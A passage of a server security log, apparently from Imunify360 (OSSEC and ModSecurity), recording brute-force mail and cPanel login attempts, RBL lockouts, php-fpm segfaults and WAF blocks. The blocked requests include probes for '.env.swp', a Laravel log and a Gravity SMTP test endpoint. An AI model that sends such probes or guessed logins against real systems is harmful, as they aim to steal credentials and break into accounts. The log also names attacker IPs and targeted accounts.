Jun 30 23:52:27 ns5 kernel: php-fpm[2087327]: segfault at 7ffc38f24f80 ip 0000000000729c3b sp 00007ffc38f24f70 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 23:53:54 ns5 kernel: php-fpm[2087629]: segfault at 7ffc38f24f30 ip 0000000000729c3b sp 00007ffc38f24f20 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 200.71.126.228
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:23-53.200.71.126.228||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 168.196.238.42
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:23-53.168.196.238.42||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 23:55:12 ns5 kernel: php-fpm[2088458]: segfault at 7ffc38f24f30 ip 0000000000729c3b sp 00007ffc38f24f20 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.104.193
country_id: 798544
description:
Jun 30 23:56:35 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.104.193 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 142.111.152.59
country_id: 6252001
description:
Jun 30 23:58:00 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 142.111.152.59 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-30 23:58:11 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:49268: 535 Incorrect authentication data (set_id=ebay@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 142.111.152.59
country_id: 6252001
description:
2026-06-30 23:58:02 dovecot_plain authenticator failed for H=(gq2vcuk2tay3h0pj) [142.111.152.59]:35406: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 30 23:58:09 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 30 23:58:11 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.15.42
country_id: 6252001
domain: ns5mail.netmaster.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ns5mail.netmaster.tg/wp-json/gravitysmtp/v1/tests/mock-data?page=gravitysmtp-settings HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-30 23:58:13 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:49170: 535 Incorrect authentication data (set_id=mechanic@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-30 23:58:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:28190: 535 Incorrect authentication data (set_id=gandalf@ns5.netmaster.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.13.184
country_id: 6252001
domain: www.ns5.netmaster.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ns5.netmaster.tg/wp-json/gravitysmtp/v1/tests/mock-data?page=gravitysmtp-settings HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 30 23:58:31 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.65.237.55
country_id: 1643084
description:
[2026-06-30 23:58:35 +0000] info [cpaneld] 103.65.237.55 - .SAPHYRTOUR "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-30 23:59:03 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:50932: 535 Incorrect authentication data (set_id=maven@ns5.netmaster.tg)


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 23:59:30 ns5 kernel: php-fpm[2089382]: segfault at 7ffc38f24f80 ip 0000000000729c3b sp 00007ffc38f24f70 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 30 23:59:06 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-30 23:59:08 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:25456: 535 Incorrect authentication data (set_id=mpm@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 30 23:59:18 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-30 23:59:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:4794: 535 Incorrect authentication data (set_id=reny@ns5.netmaster.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.190.175
country_id: 3017382
domain: ns5.netmaster.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ns5.netmaster.tg/wp-json/gravitysmtp/v1/tests/mock-data?page=gravitysmtp-settings HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 30 23:59:01 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 30 23:59:09 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-30 23:59:11 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:43048: 535 Incorrect authentication data (set_id=njfontcolor@ns5.netmaster.tg)


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 00:00:14 ns5 kernel: php-fpm[2089180]: segfault at 7ffc38f24f80 ip 0000000000729c3b sp 00007ffc38f24f70 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.65.237.55
country_id: 1643084
description:
[2026-07-01 00:00:38 +0000] info [cpaneld] 103.65.237.55 - admin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  1 00:00:10 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:00:12 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:19644: 535 Incorrect authentication data (set_id=helper@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:00:01 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  1 00:00:10 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:00:12 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:45906: 535 Incorrect authentication data (set_id=slides@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  1 00:00:18 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:00:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:58484: 535 Incorrect authentication data (set_id=ananda@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:00:03 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:27222: 535 Incorrect authentication data (set_id=who@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  1 00:01:09 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:01:11 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:60638: 535 Incorrect authentication data (set_id=amulet@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:01:13 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:34980: 535 Incorrect authentication data (set_id=operations@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:01:50 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:19116: 535 Incorrect authentication data (set_id=sonic@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:01:06 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:01:08 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:3504: 535 Incorrect authentication data (set_id=descargas@ns5.netmaster.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 200.71.126.244
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:200.71.126.244||TA:200.71.126.244||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  1 00:01:04 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:01:06 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:42542: 535 Incorrect authentication data (set_id=vps6@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  1 00:01:11 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.104.225.201
country_id: 6252001
description:
Jul  1 00:02:39 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.104.225.201 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  1 00:02:09 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:02:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:40188: 535 Incorrect authentication data (set_id=tor@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:02:06 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:11428: 535 Incorrect authentication data (set_id=#P_sDzJba82'genfk+vH@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:02:11 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:37170: 535 Incorrect authentication data (set_id=sakurai@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:02:11 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:44216: 535 Incorrect authentication data (set_id=stephan@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  1 00:02:21 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:02:09 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  1 00:02:34 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.104.225.201
country_id: 6252001
description:
2026-07-01 00:02:41 dovecot_plain authenticator failed for H=(unfumple) [24.104.225.201]:49809: 535 Incorrect authentication data (set_id=waphf@white-ways.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  1 00:03:20 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 155.138.165.60
country_id: 6252001
description:
2026-07-01 00:03:11 dovecot_plain authenticator failed for H=(f6iddvaj7p8mp2qs77a4fxrun6b) [155.138.165.60]:60287: 535 Incorrect authentication data (set_id=info@keedyfarms.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  1 00:03:09 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 104.28.251.192
country_id: 6252001
domain: www.bieredjama.snb.tg
description:
IM360 WAF: Bad file extension||RSV:8.21||T:APACHE||MVN:REQUEST_FILENAME||MV:/storage/logs/laravel.log||User:bighostingsnbd||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:03:08 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.28.251.192
country_id: 6252001
domain: www.bieredjama.snb.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:104.28.251.192||TA:104.28.251.192||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:03:11 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:13630: 535 Incorrect authentication data (set_id=petar@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 155.138.165.60
country_id: 6252001
description:
Jul  1 00:03:09 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 155.138.165.60 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  1 00:03:12 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:03:14 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:48622: 535 Incorrect authentication data (set_id=test-test@ns5.netmaster.tg)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 104.28.219.192
country_id: 6252001
domain: snb.tg
description:
IM360 WAF: Bad file extension||RSV:8.21||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.swp||User:bighostingsnbd||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:03:10 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:20428: 535 Incorrect authentication data (set_id=news2@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:03:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:16762: 535 Incorrect authentication data (set_id=control@ns5.netmaster.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.28.219.192
country_id: 6252001
domain: snb.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:104.28.219.192||TA:104.28.219.192||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.155.40.187
country_id: 719819
description:
2026-07-01 00:04:38 dovecot_plain authenticator failed for H=(DESKTOP-T5RENN2.Home) [45.155.40.187]:28526: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:04:09 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:61084: 535 Incorrect authentication data (set_id=12121946@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  1 00:04:05 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  1 00:04:12 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:04:06 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:37302: 535 Incorrect authentication data (set_id=g2@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:04:07 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:57800: 535 Incorrect authentication data (set_id=probe@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  1 00:04:04 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:04:07 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:04:14 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:25132: 535 Incorrect authentication data (set_id=donation@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.155.40.187
country_id: 719819
description:
Jul  1 00:04:36 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.155.40.187 has been locked due to Imunify RBL


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 00:05:02 ns5 kernel: php-fpm[2091755]: segfault at 7ffc38f24f80 ip 0000000000729c3b sp 00007ffc38f24f70 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  1 00:05:00 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:05:43 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:10964: 535 Incorrect authentication data (set_id=slack@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:05:02 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:05:04 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:13810: 535 Incorrect authentication data (set_id=eco@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:05:04 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:9518: 535 Incorrect authentication data (set_id=classificados@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  1 00:05:02 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:05:02 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:54440: 535 Incorrect authentication data (set_id=anacrogynae@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  1 00:05:12 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:05:14 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:1658: 535 Incorrect authentication data (set_id=backlinks@ns5.netmaster.tg)


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 00:06:03 ns5 kernel: php-fpm[2092204]: segfault at 7ffc38f24f80 ip 0000000000729c3b sp 00007ffc38f24f70 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.111.92.123
country_id: 6252001
description:
[2026-07-01 00:06:12 +0000] info [cpaneld] 64.111.92.123 - ayhhhyhk "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ayhhhyhk (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:05:59 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:7574: 535 Incorrect authentication data (set_id=reference@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:06:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:52054: 535 Incorrect authentication data (set_id=theory@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  1 00:06:08 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:06:38 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  1 00:05:58 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  1 00:06:30 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:06:40 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:53396: 535 Incorrect authentication data (set_id=kumm@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:06:10 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:42786: 535 Incorrect authentication data (set_id=sales01@ns5.netmaster.tg)


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 00:07:25 ns5 kernel: php-fpm[2092139]: segfault at 7ffc38f24f30 ip 0000000000729c3b sp 00007ffc38f24f20 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:07:09 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:19320: 535 Incorrect authentication data (set_id=aragon@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  1 00:07:15 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:07:38 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:45364: 535 Incorrect authentication data (set_id=store.email@ns5.netmaster.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.38.43
country_id: 6252001
domain: mail.lepoint-actu.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mail.lepoint-actu.tg/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:07:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:48560: 535 Incorrect authentication data (set_id=mediator@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:07:29 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:07:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:29288: 535 Incorrect authentication data (set_id=lj@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
